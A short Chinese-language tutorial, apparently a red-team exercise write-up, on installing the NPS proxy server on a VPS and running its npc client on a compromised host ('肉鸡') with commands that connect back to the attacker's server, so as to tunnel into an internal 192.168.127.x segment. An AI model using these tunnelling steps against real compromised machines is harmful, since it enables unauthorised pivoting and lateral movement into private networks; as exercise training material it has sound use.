攻防演练有看到大哥用这个做代理,今天学习一下
一、安装https://github.com/ehang-io/nps/releases (下载Linux版本的先试试)
上传至服务器,新建一个nps的文件夹,然后解压:
mkdir nps
tar -xzvf linux_amd64_server.tar.gz -C ./nps
然后输入命令启动,启动后即可访问如下登录管理页面,默认账号密码为:admin/123 (记得快速修改初始密码)
./nps start
在/etc/nps/conf/文件内可以查看到默认的账号密码,修改之,然后再重启一下nps:
nps restart
在压缩包下也是有个一样的配置文件的,千万别改错了!要改的一定是/etc/nps/的
然后登录就可以看到页面了:
这样就安装好了。
二、使用
登录nps:
然后点击新增客户端,到下面的截图:(自行设置账号密码,这个将会作为你的隧道的密码进行使用)
填写好就可以新增了!记住下面这个密钥:
这些都有了,那应该直接接下来怎么做了吧,同样的,在肉鸡运行nps的命令,然后就能做代理了,我们试试吧!
(1)以下时Windows客户端的,下载对应的版本然后输入下述命令:
npc.exe -server=你的vps:8024 -vkey=客户端的密钥
(2)以下时Linux客户端的,下载对应的版本然后输入下述命令:
./npc -server=你的vps:8024 -vkey=客户端的密钥
到这一步时,你已经成功了一半,因为在肉鸡上运行以上命令将会成功建立好隧道:
肉鸡运行:
npc.exe -server=192.168.43.234:8024 -vkey=客户端的密钥
web页面会出现上线的提示:
最后:在上线的主机的隧道处点击,并添加响应的隧道,就可以建立与其他网段的通信了:
然后测试一下连接:
最后就能成功访问第二层网络(192.168.127.x网段)了:
以上,简单的使用nps建立隧道的任务就完成了!其余使用教程请参考:https://ehang-io.github.io/nps/#/use